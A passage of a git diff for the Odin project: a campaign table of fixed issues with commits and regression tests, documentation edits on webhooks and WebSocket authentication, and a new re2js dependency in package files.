`16142d93aa113e66e26c8e8723d3838dcd0975c5` (observability) | `tests/test_campaign_* observability/learning/audit/startup regression files` | Implemented and regression-tested per worker report; full campaign gates remain pending. Recognize configured static and validated dynamic API credentials in startup diagnosis without disclosure. | +| [#462](https://github.com/Calmingstorm/Odin/issues/462) | `16142d93aa113e66e26c8e8723d3838dcd0975c5` (observability) | `tests/test_campaign_* observability/learning/audit/startup regression files` | Implemented and regression-tested per worker report; full campaign gates remain pending. Validate knowledge SQLite integrity, close on failure, preserve first-run empty DB support. | +| [#463](https://github.com/Calmingstorm/Odin/issues/463) | `16142d93aa113e66e26c8e8723d3838dcd0975c5` (observability) | `tests/test_campaign_* observability/learning/audit/startup regression files` | Implemented and regression-tested per worker report; full campaign gates remain pending. Treat unconfigured Discord as dormant/healthy for tokenless HTTP readiness. | +| [#466](https://github.com/Calmingstorm/Odin/issues/466) | `16142d93aa113e66e26c8e8723d3838dcd0975c5` (observability) | `tests/test_campaign_* observability/learning/audit/startup regression files` | Implemented and regression-tested per worker report; full campaign gates remain pending. Own ingestion lock through connection acquisition/close failures; close failed unpublished DB handles. | +| [#468](https://github.com/Calmingstorm/Odin/issues/468) | `16142d93aa113e66e26c8e8723d3838dcd0975c5` (observability) | `tests/test_campaign_* observability/learning/audit/startup regression files` | Implemented and regression-tested per worker report; full campaign gates remain pending. Read actual configured SessionManager persistence directory for resource counts. | +| [#499](https://github.com/Calmingstorm/Odin/issues/499) | `eb6e85a3c59aa4aeb58ba2718b120aab334a3fd2` (webauth) | `tests/test_self_update_campaign_rollback.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#573](https://github.com/Calmingstorm/Odin/issues/573) | `be2045c54df36d4ae4430613489dcb899e398041` (webauth) | `tests/test_web_campaign_authorization.py`; `tests/test_websocket_auth.py`; `tests/test_security_headers.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#574](https://github.com/Calmingstorm/Odin/issues/574) | `be2045c54df36d4ae4430613489dcb899e398041` (webauth) | `tests/test_web_campaign_authorization.py`; `tests/test_websocket_auth.py`; `tests/test_security_headers.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#575](https://github.com/Calmingstorm/Odin/issues/575) | `be2045c54df36d4ae4430613489dcb899e398041` (webauth) | `tests/test_web_campaign_authorization.py`; `tests/test_websocket_auth.py`; `tests/test_security_headers.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#576](https://github.com/Calmingstorm/Odin/issues/576) | `be2045c54df36d4ae4430613489dcb899e398041` (webauth) | `tests/test_web_campaign_authorization.py`; `tests/test_websocket_auth.py`; `tests/test_security_headers.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#579](https://github.com/Calmingstorm/Odin/issues/579) | `be2045c54df36d4ae4430613489dcb899e398041` (webauth) | `tests/test_web_campaign_authorization.py`; `tests/test_websocket_auth.py`; `tests/test_security_headers.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#504](https://github.com/Calmingstorm/Odin/issues/504) | `aabf76e2fa428b21810c6a9f98c20bb82ffdee34` (webauth) | `tests/test_process_kill_reports_acknowledged_outcome.py`; `scripts/check-process-kill-outcome.mjs` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#577](https://github.com/Calmingstorm/Odin/issues/577) | `be2045c54df36d4ae4430613489dcb899e398041` (webauth) | `tests/test_web_campaign_authorization.py`; `tests/test_websocket_auth.py`; `tests/test_security_headers.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#578](https://github.com/Calmingstorm/Odin/issues/578) | `be2045c54df36d4ae4430613489dcb899e398041` (webauth) | `tests/test_web_campaign_authorization.py`; `tests/test_websocket_auth.py`; `tests/test_security_headers.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#580](https://github.com/Calmingstorm/Odin/issues/580) | `be2045c54df36d4ae4430613489dcb899e398041` (webauth) | `tests/test_web_campaign_authorization.py`; `tests/test_websocket_auth.py`; `tests/test_security_headers.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#582](https://github.com/Calmingstorm/Odin/issues/582) | `be2045c54df36d4ae4430613489dcb899e398041` (webauth) | `tests/test_web_campaign_authorization.py`; `tests/test_websocket_auth.py`; `tests/test_security_headers.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#585](https://github.com/Calmingstorm/Odin/issues/585) | `be2045c54df36d4ae4430613489dcb899e398041` (webauth) | `tests/test_web_campaign_authorization.py`; `tests/test_websocket_auth.py`; `tests/test_security_headers.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#581](https://github.com/Calmingstorm/Odin/issues/581) | `be2045c54df36d4ae4430613489dcb899e398041` (webauth) | `tests/test_web_campaign_authorization.py`; `tests/test_websocket_auth.py`; `tests/test_security_headers.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#583](https://github.com/Calmingstorm/Odin/issues/583) | `be2045c54df36d4ae4430613489dcb899e398041` (webauth) | `tests/test_web_campaign_authorization.py`; `tests/test_websocket_auth.py`; `tests/test_security_headers.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#584](https://github.com/Calmingstorm/Odin/issues/584) | `be2045c54df36d4ae4430613489dcb899e398041` (webauth) | `tests/test_web_campaign_authorization.py`; `tests/test_websocket_auth.py`; `tests/test_security_headers.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#586](https://github.com/Calmingstorm/Odin/issues/586) | `be2045c54df36d4ae4430613489dcb899e398041` (webauth) | `tests/test_web_campaign_authorization.py`; `tests/test_websocket_auth.py`; `tests/test_security_headers.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#551](https://github.com/Calmingstorm/Odin/issues/551) | `382c57ba2a18da273be35d980dad92611051fccb` (processes) | `tests/test_hosts_api.py`; `tests/test_hosts_control_plane.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Host quarantine and management publication regressions. +| [#552](https://github.com/Calmingstorm/Odin/issues/552) | `21b1cebcffec0787ae229216625226a68d36721a` (processes) | `tests/test_hosts_api.py`; `tests/test_hosts_trust.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Enrollment race and signed-CA principal regressions. +| [#553](https://github.com/Calmingstorm/Odin/issues/553) | `0d5dd4f50b0626d0f1a2bb3bd43fdd557b95885d` (webui) | `scripts/check-host-enrollment-browser.mjs` | Implemented and regression-tested per worker report; full campaign gates remain pending. UI explains expected signing-CA fingerprint; not an in-scope issue row. +| [#510](https://github.com/Calmingstorm/Odin/issues/510) | `9322c03b3be24d0fc75a88f42c2119f0d4a1c82b` (computer) | `tests/test_computer_campaign_absence_resolution.py`; `tests/test_computer_campaign_orphans.py`; `tests/test_computer_campaign_cache_retirement.py`; `tests/test_hyprland_recovery_controller.py`; `tests/test_computer_api_recovery_r18.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Revoke X11 focus input in finally on unknown release even if receipt persistence fails. | +| [#511](https://github.com/Calmingstorm/Odin/issues/511) | `9322c03b3be24d0fc75a88f42c2119f0d4a1c82b` (computer) | `tests/test_computer_campaign_absence_resolution.py`; `tests/test_computer_campaign_orphans.py`; `tests/test_computer_campaign_cache_retirement.py`; `tests/test_hyprland_recovery_controller.py`; `tests/test_computer_api_recovery_r18.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Emergency Hyprland release preserves quarantined incident lineage; release does not imply resumable authority. | +| [#512](https://github.com/Calmingstorm/Odin/issues/512) | `9322c03b3be24d0fc75a88f42c2119f0d4a1c82b` (computer) | `tests/test_computer_campaign_absence_resolution.py`; `tests/test_computer_campaign_orphans.py`; `tests/test_computer_campaign_cache_retirement.py`; `tests/test_hyprland_recovery_controller.py`; `tests/test_computer_api_recovery_r18.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Archive separately validated private absence evidence before changing resolution state. | +| [#513](https://github.com/Calmingstorm/Odin/issues/513) | `9322c03b3be24d0fc75a88f42c2119f0d4a1c82b` (computer) | `tests/test_computer_campaign_absence_resolution.py`; `tests/test_computer_campaign_orphans.py`; `tests/test_computer_campaign_cache_retirement.py`; `tests/test_hyprland_recovery_controller.py`; `tests/test_computer_api_recovery_r18.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Reconcile only owned private UUID evidence orphans under SQLite transaction; preserve unrelated files. | +| [#514](https://github.com/Calmingstorm/Odin/issues/514) | `9322c03b3be24d0fc75a88f42c2119f0d4a1c82b` (computer) | `tests/test_computer_campaign_absence_resolution.py`; `tests/test_computer_campaign_orphans.py`; `tests/test_computer_campaign_cache_retirement.py`; `tests/test_hyprland_recovery_controller.py`; `tests/test_computer_api_recovery_r18.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Publish current authorized recovery context immediately after durable resume rebind. | +| [#515](https://github.com/Calmingstorm/Odin/issues/515) | `9322c03b3be24d0fc75a88f42c2119f0d4a1c82b` (computer) | `tests/test_computer_campaign_absence_resolution.py`; `tests/test_computer_campaign_orphans.py`; `tests/test_computer_campaign_cache_retirement.py`; `tests/test_hyprland_recovery_controller.py`; `tests/test_computer_api_recovery_r18.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Expose bounded native recovery states/next steps while excluding private handles and arbitrary values. | +| [#619](https://github.com/Calmingstorm/Odin/issues/619) | `9322c03b3be24d0fc75a88f42c2119f0d4a1c82b` (computer) | `tests/test_computer_campaign_absence_resolution.py`; `tests/test_computer_campaign_orphans.py`; `tests/test_computer_campaign_cache_retirement.py`; `tests/test_hyprland_recovery_controller.py`; `tests/test_computer_api_recovery_r18.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Restore application-group refresh after strict proof of released input on known pre-input rejection. | +| [#620](https://github.com/Calmingstorm/Odin/issues/620) | `9322c03b3be24d0fc75a88f42c2119f0d4a1c82b` (computer) | `tests/test_computer_campaign_absence_resolution.py`; `tests/test_computer_campaign_orphans.py`; `tests/test_computer_campaign_cache_retirement.py`; `tests/test_hyprland_recovery_controller.py`; `tests/test_computer_api_recovery_r18.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Preserve prior attached X11 device evidence only after proven unopened-input refusal. | +| [#621](https://github.com/Calmingstorm/Odin/issues/621) | `9322c03b3be24d0fc75a88f42c2119f0d4a1c82b` (computer) | `tests/test_computer_campaign_absence_resolution.py`; `tests/test_computer_campaign_orphans.py`; `tests/test_computer_campaign_cache_retirement.py`; `tests/test_hyprland_recovery_controller.py`; `tests/test_computer_api_recovery_r18.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Require sudo preflight only when configured isolated launch uses sudo; propagate mode through manager enable. | +| [#516](https://github.com/Calmingstorm/Odin/issues/516) | `9322c03b3be24d0fc75a88f42c2119f0d4a1c82b` (computer) | `tests/test_computer_campaign_absence_resolution.py`; `tests/test_computer_campaign_orphans.py`; `tests/test_computer_campaign_cache_retirement.py`; `tests/test_hyprland_recovery_controller.py`; `tests/test_computer_api_recovery_r18.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Retire expired inventory proofs and settled terminal caches without retiring active identities. | +| [#517](https://github.com/Calmingstorm/Odin/issues/517) | `9b1589179d771756d1f0db041aa70c4a533e74b1` (webui) | `scripts/check-v410-webui-browser.mjs`; `tests/test_webui_selected_trace_filters.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Main-model save coalesces latest user intent and reads canonical state after settlement. +| [#518](https://github.com/Calmingstorm/Odin/issues/518) | `9b1589179d771756d1f0db041aa70c4a533e74b1` (webui) | `scripts/check-v410-webui-browser.mjs`; `tests/test_webui_selected_trace_filters.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Route-picker results, errors and cancellation are fenced to the current model request. +| [#519](https://github.com/Calmingstorm/Odin/issues/519) | `9b1589179d771756d1f0db041aa70c4a533e74b1` (webui) | `scripts/check-v410-webui-browser.mjs`; `tests/test_webui_selected_trace_filters.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. MCP toggles invalidate stale polls and read back canonical state after writes. +| [#520](https://github.com/Calmingstorm/Odin/issues/520) | `9b1589179d771756d1f0db041aa70c4a533e74b1` (webui) | `scripts/check-v410-webui-browser.mjs`; `tests/test_webui_selected_trace_filters.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Operational pages fence data/error/loading by request generation and lifecycle activation. +| [#521](https://github.com/Calmingstorm/Odin/issues/521) | `9b1589179d771756d1f0db041aa70c4a533e74b1` (webui) | `scripts/check-v410-webui-browser.mjs`; `tests/test_webui_selected_trace_filters.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Discord identity display keeps numeric ID/name from the same current request. +| [#522](https://github.com/Calmingstorm/Odin/issues/522) | `9b1589179d771756d1f0db041aa70c4a533e74b1` (webui) | `scripts/check-v410-webui-browser.mjs`; `tests/test_webui_selected_trace_filters.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Accessible Add control works once for keyboard Enter/Space and pointer activation. +| [#523](https://github.com/Calmingstorm/Odin/issues/523) | `9b1589179d771756d1f0db041aa70c4a533e74b1` (webui) | `scripts/check-v410-webui-browser.mjs`; `tests/test_webui_selected_trace_filters.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Skill source highlighting tokenizes original source once, preserving displayed source text. +| [#524](https://github.com/Calmingstorm/Odin/issues/524) | `9b1589179d771756d1f0db041aa70c4a533e74b1` (webui) | `scripts/check-v410-webui-browser.mjs`; `tests/test_webui_selected_trace_filters.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Paused Live Tail retains at most 2,000 raw records, reports drops, and resets on clear. +| [#526](https://github.com/Calmingstorm/Odin/issues/526) | `9b1589179d771756d1f0db041aa70c4a533e74b1` (webui) | `scripts/check-v410-webui-browser.mjs`; `tests/test_webui_selected_trace_filters.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Live Tail uses bounded RE2-compatible regex evaluation; lookaround/backreferences are visibly unsupported. +| [#527](https://github.com/Calmingstorm/Odin/issues/527) | `9b1589179d771756d1f0db041aa70c4a533e74b1` (webui) | `scripts/check-v410-webui-browser.mjs`; `tests/test_webui_selected_trace_filters.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Trace endpoint filters selected files before match limits and preserves query/traversal validation. +| [#528](https://github.com/Calmingstorm/Odin/issues/528) | `9b1589179d771756d1f0db041aa70c4a533e74b1` (webui) | `scripts/check-v410-webui-browser.mjs`; `tests/test_webui_selected_trace_filters.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Schedule UI submits validated JSON workflow steps, conditions and failure policy. +| [#529](https://github.com/Calmingstorm/Odin/issues/529) | `9b1589179d771756d1f0db041aa70c4a533e74b1` (webui) | `scripts/check-v410-webui-browser.mjs`; `tests/test_webui_selected_trace_filters.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Disconnected terminal-event gaps become unknown historical execution cards, not fabricated success/running. +| [#530](https://github.com/Calmingstorm/Odin/issues/530) | `e103d3fd6f63466a051d347d0abe5d413667eded` (webui) | `tests/test_stream_invocation_identity.py`; `tests/test_output_streamer.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Tool-call streams use unique backend registry IDs and full channel/turn/agent/loop/call attribution; ambiguous legacy events do not guess. +| [#525](https://github.com/Calmingstorm/Odin/issues/525) | `9b1589179d771756d1f0db041aa70c4a533e74b1` (webui) | `scripts/check-v410-webui-browser.mjs`; `tests/test_webui_selected_trace_filters.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Relative-time filters update on a page-owned clock and stop while hidden. +| [#531](https://github.com/Calmingstorm/Odin/issues/531) | `9b1589179d771756d1f0db041aa70c4a533e74b1` (webui) | `scripts/check-v410-webui-browser.mjs`; `tests/test_webui_selected_trace_filters.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Active Skills count includes loaded skills only. +| [#557](https://github.com/Calmingstorm/Odin/issues/557) | `cc05f0dd7e7e3c6ff317b06ad26bac63db2b385c` (loops) | `tests/test_campaign_loops.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#565](https://github.com/Calmingstorm/Odin/issues/565) | `04756ec243df863ea10d4e1d24f72b977a893cf1` (loops) | `tests/test_campaign_loops.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#571](https://github.com/Calmingstorm/Odin/issues/571) | `03ac44ee289171b44d99d602ac36383fe7c17934` (loops) | `tests/test_campaign_outbound.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#558](https://github.com/Calmingstorm/Odin/issues/558) | `cc05f0dd7e7e3c6ff317b06ad26bac63db2b385c` (loops) | `tests/test_campaign_loops.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#562](https://github.com/Calmingstorm/Odin/issues/562) | `cc05f0dd7e7e3c6ff317b06ad26bac63db2b385c` (loops) | `tests/test_campaign_loops.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#566](https://github.com/Calmingstorm/Odin/issues/566) | `cc05f0dd7e7e3c6ff317b06ad26bac63db2b385c` (loops) | `tests/test_campaign_loops.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#572](https://github.com/Calmingstorm/Odin/issues/572) | `03ac44ee289171b44d99d602ac36383fe7c17934` (loops) | `tests/test_campaign_outbound.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Behavior is documented in the final worker report; see the regression file(s). +| [#555](https://github.com/Calmingstorm/Odin/issues/555) | `7482584ea160e5929203dff04afcbe93523fd0d6` (processes) | `tests/test_apply_patch.py`; `tests/test_apply_patch_corrective_errors.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Byte preservation, nonblocking file-type and descriptor cleanup regressions. +| [#556](https://github.com/Calmingstorm/Odin/issues/556) | `7482584ea160e5929203dff04afcbe93523fd0d6` (processes) | `tests/test_apply_patch.py`; `tests/test_apply_patch_corrective_errors.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Byte preservation, nonblocking file-type and descriptor cleanup regressions. +| [#554](https://github.com/Calmingstorm/Odin/issues/554) | `7482584ea160e5929203dff04afcbe93523fd0d6` (processes) | `tests/test_apply_patch.py`; `tests/test_apply_patch_corrective_errors.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Byte preservation, nonblocking file-type and descriptor cleanup regressions. +| [#487](https://github.com/Calmingstorm/Odin/issues/487) | `2c581238976927bf34be08eada9ea829e63a34cd` (packaging) | `tests/test_packaging_campaign.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Incus deploy script syntax is corrected and checked. +| [#488](https://github.com/Calmingstorm/Odin/issues/488) | `2c581238976927bf34be08eada9ea829e63a34cd` (packaging) | `tests/test_packaging_campaign.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Incus deployment includes UI assets. +| [#489](https://github.com/Calmingstorm/Odin/issues/489) | `2c581238976927bf34be08eada9ea829e63a34cd` (packaging) | `tests/test_packaging_campaign.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Wheel includes model-hint seed JSON package data. +| [#490](https://github.com/Calmingstorm/Odin/issues/490) | `50ce835e`, `1b00357c`, `1fc99c75` (packaging) | `tests/test_packaging_behavior.py`; `tests/test_cli_migration_contract.py` | Aaron/Claude decision: odin is the API client everywhere, odin-server is the daemon. Old config-file/-c/--config/--env-file client invocations fail without sending a prompt and explain migration. | +| [#491](https://github.com/Calmingstorm/Odin/issues/491) | `2c581238976927bf34be08eada9ea829e63a34cd` (packaging) | `tests/test_packaging_campaign.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. CLI JSON/plain modes return failure for error results. +| [#492](https://github.com/Calmingstorm/Odin/issues/492) | `2c581238976927bf34be08eada9ea829e63a34cd` (packaging) | `tests/test_packaging_campaign.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Official install paths include browser dependencies and Debian import smoke coverage. +| [#493](https://github.com/Calmingstorm/Odin/issues/493) | `2c581238976927bf34be08eada9ea829e63a34cd` (packaging) | `tests/test_packaging_campaign.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Fresh Debian config uses runtime SSH identity default without rewriting existing operator config. +| [#494](https://github.com/Calmingstorm/Odin/issues/494) | `2c581238976927bf34be08eada9ea829e63a34cd` (packaging) | `tests/test_packaging_campaign.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Compose uses writable config directory while safely migrating legacy file only when new directory config is absent. +| [#497](https://github.com/Calmingstorm/Odin/issues/497) | `2c581238976927bf34be08eada9ea829e63a34cd` (packaging) | `tests/test_packaging_campaign.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Worker found no obsolete voice-service tree in current Compose. +| [#498](https://github.com/Calmingstorm/Odin/issues/498) | `2c581238976927bf34be08eada9ea829e63a34cd` (packaging) | `tests/test_packaging_campaign.py`; `tests/test_rate_limiter.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Aggregate check runs focused setup, computer-browser and schedule-availability checks. +| [#587](https://github.com/Calmingstorm/Odin/issues/587) | `2c581238976927bf34be08eada9ea829e63a34cd` (packaging) | `tests/test_packaging_campaign.py`; `tests/test_rate_limiter.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Rate limiter test now proves stale bucket removal and active bucket retention. +| [#434](https://github.com/Calmingstorm/Odin/issues/434) | `150e4916` (docs) | `tests/test_docs_campaign_contracts.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Setup-wizard save and updater self-reexec/restart behavior are distinguished accurately. +| [#435](https://github.com/Calmingstorm/Odin/issues/435) | `150e4916` (docs) | `tests/test_docs_campaign_contracts.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. WebSocket docs describe supported bearer subprotocol/header carriers and reject query-token guidance. +| [#436](https://github.com/Calmingstorm/Odin/issues/436) | `150e4916` (docs) | `tests/test_docs_campaign_contracts.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Hyprland docs reflect bounded identity discovery and managed plugin activation. +| [#437](https://github.com/Calmingstorm/Odin/issues/437) | `150e4916` (docs) | `tests/test_docs_campaign_contracts.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Model docs distinguish GPT-6.1 Sol from older Sol/Luna effort and input budgets. +| [#438](https://github.com/Calmingstorm/Odin/issues/438) | `150e4916` (docs) | `tests/test_docs_campaign_contracts.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Codex docs remove weekly manual login advice and describe refresh/reauthorization only on genuine failure. +| [#439](https://github.com/Calmingstorm/Odin/issues/439) | `150e4916` (docs) | `tests/test_docs_campaign_contracts.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Provider overview includes generic OpenAI-compatible support. +| [#440](https://github.com/Calmingstorm/Odin/issues/440) | `150e4916` (docs) | `tests/test_docs_campaign_contracts.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Stale inventory counts/removed monitoring claims replaced with source-backed inventory references. +| [#441](https://github.com/Calmingstorm/Odin/issues/441) | `150e4916` (docs) | `tests/test_docs_campaign_contracts.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Iteration limits describe batches and loop cycles accurately. +| [#442](https://github.com/Calmingstorm/Odin/issues/442) | `150e4916` (docs) | `tests/test_docs_campaign_contracts.py` | Implemented and regression-tested per worker report; full campaign gates remain pending. Retired-model docs name the implemented successor. + +## Final implementation and integration status + +- **#490:** approved decision implemented: `odin` is the API client everywhere; `odin-server` starts the daemon. Old server-style invocations are refused before network dispatch with migration guidance. +- **All 200 issues:** have implementations and targeted regression reports. No remaining issue-worker report or product decision is missing; integrated local full gates pass. +- **#530:** backend streamer now allocates unique registry IDs and binds full channel/turn/agent/loop/call attribution (`e103d3fd`). Browser and Python regressions are reported by the WebUI lane. +- **#548:** remote cleanup proves only original process-group emptiness. It reports unknown rather than claiming escaped descendants ended; no all-descendant containment is claimed. +- Independent review follow-ups strengthen systemctl classification, cold reauthentication, token revocation, mapping aliases, route limits, remote evidence expiry, local cleanup settlement and full evidence identity. Process authority/retention/shutdown fixtures now use inert transports and truthful cleanup evidence. All remaining test errors and coverage regressions were resolved; see `v4.10.0-campaign-gates.md`. +- Removal audit commits `64417da8`, `c1c3a87c`, `da0476aa` remove stale monitoring assumptions and repair tests/wiring. Coverage baseline entries were removed only for the two physically deleted modules; thresholds and missed-line ratchets were not weakened. Integrated `npm run check` passed and rebuilt UI assets. Full campaign suite/type/coverage gates now pass locally. + +## Notes + +- The plan contains exactly 200 in-scope issues. All have implementations and targeted tests; final integrated local gates pass. This document does not list the 20 closed/out-of-scope issues as completed work. +- Commit SHAs identify original worker-branch commits. They are not proof of campaign integration or issue closure. +- Regression file lists come from issue commits when present; worker reports can name broader regression suites for bundled/follow-up issues. +- This file uses no closing keywords and contains no private worktree paths or personal identities. diff --git a/docs/scheduling.md b/docs/scheduling.md index 3a948d4b1..2547fba0d 100644 --- a/docs/scheduling.md +++ b/docs/scheduling.md @@ -69,20 +69,16 @@ but before an effect starts. Quarantine chooses safety over automatic replay. ## Inbound webhooks -Endpoints are `/webhook/gitea`, `/webhook/github`, `/webhook/gitlab`, -`/webhook/grafana` and `/webhook/generic`, registered only with -`webhook.enabled`. Gitea and GitHub use HMAC authentication; GitLab, Grafana +Endpoints are `/webhook/gitea`, `/webhook/github`, `/webhook/gitlab` +and `/webhook/generic`, registered only with +`webhook.enabled`. Gitea and GitHub use HMAC authentication; GitLab and generic use a shared token. Authentication fails closed with 403 when no secret is configured. Invalid JSON receives 400. The body limit is 10 MiB, and there is no per-endpoint rate limit. -Processing order: parse the request, run Grafana remediation where applicable, -run matching schedules **to completion**, then post the channel notification +Processing order: parse the request, run matching schedules **to completion**, then post the channel notification and respond. A slow action can outlast the sender's timeout; the sender may -retry while Odin is still working. A named Grafana trigger compares its -case-insensitive alert-name substring against **every** alert in a notification, -including resolved alerts. Each schedule fires at most once per delivery, -even if several alerts match. Unnamed triggers also fire once per delivery. +retry while Odin is still working. Each schedule fires at most once per delivery. The HTTP response describes **the notification only**, not whether triggered actions succeeded: 200 `{"status":"delivered"}` means notification posted; diff --git a/docs/security.md b/docs/security.md index 31659a2d3..80013fd4d 100644 --- a/docs/security.md +++ b/docs/security.md @@ -89,7 +89,7 @@ Three tiers control tool access: | Tier | Tools | Use Case | |------|-------|----------| -| `admin` | All 67 built-in tools | Operators | +| `admin` | All enabled built-in tools | Operators | | `user` | 11 tools: ten read-only plus list management | Team members | | `guest` | None (chat only) | Restricted | @@ -113,7 +113,11 @@ Patterns detected: Discord tokens, API keys, Bearer tokens, SSH private keys, AW - All `/api/*` endpoints require Bearer token auth when `web.api_token` is configured - Session-based auth via `/api/auth/login` - Web chat uses server-side identity — caller cannot spoof `user_id` -- WebSocket connections authenticate via query parameter token +- WebSocket connections authenticate without placing credentials in the URL. + Browser clients offer `odin.bearer.` as a + WebSocket subprotocol; non-browser clients may send an `Authorization: + Bearer ` header. `/api/ws?token=...` is explicitly rejected (close + code 4001). Do not put credentials in query strings or logs. ## Skill Sandboxing diff --git a/package-lock.json b/package-lock.json index d7945ed7c..d60ec73f5 100644 --- a/package-lock.json +++ b/package-lock.json @@ -10,6 +10,7 @@ "dependencies": { "dompurify": "^3.2.0", "marked": "^15.0.0", + "re2js": "^2.8.6", "vue": "^3.5.0", "vue-router": "^4.5.0" }, @@ -1983,6 +1984,15 @@ ], "license": "MIT" }, + "node_modules/re2js": { + "version": "2.8.6", + "resolved": "https://registry.npmjs.org/re2js/-/re2js-2.8.6.tgz", + "integrity": "sha512-xLgQil4kIUCrAzVk9fRSkxkFNwmygLFjVxXrLc65aE1F0+Zsb8rxumFBy4XKyvgMCTL6kilDq3EZ0piE2dP/Dg==", + "license": "MIT", + "engines": { + "node": ">=18.0.0" + } + }, "node_modules/read-cache": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", diff --git a/package.json b/package.json index 8f1a6dea7..da9e75436 100644 --- a/package.json +++ b/package.json @@ -15,7 +15,7 @@ "check:setup-ui": "node scripts/check-setup-ui.mjs", "check:template-bindings": "node scripts/check-template-bindings.mjs", "check:modal-race": "node scripts/check-modal-race.mjs", - "check": "npm run check:templates && npm run check:codex-quota-ui && npm run check:llm-config-refresh && npm run check:llm-provider-visibility && npm run check:template-bindings && npm run check:permission-token-repair && npm run check:listener-consent && npm run check:w1-webui && npm run check:modal-race && npm run check:host-access-races && npm run check:host-enrollment && npm run check:socket-identity && npm run check:ws-lifecycle && npm run check:login-persistence && npm run check:w2-freshness && npm run check:toggle-serialization && npm run check:search-races && npm run check:config-keydown && npm run check:css-tokens && npm run check:turn-state-webui && npm run check:audit-verify && npm run check:schedule-time && npm run check:schedule-report-format && npm run check:config-health && npm run check:config-center-ui2 && npm run check:mcp-webui && npm run check:tools-webui && npm run check:learning-toggle && npm run check:config-save-boundaries && npm run check:usage-activity && npm run check:output-renderer && npm run check:live-logs && npm run check:logs-preset-search-races && npm run check:discord-identity && npm run build", + "check": "npm run check:templates && npm run check:setup-ui && npm run check:computer 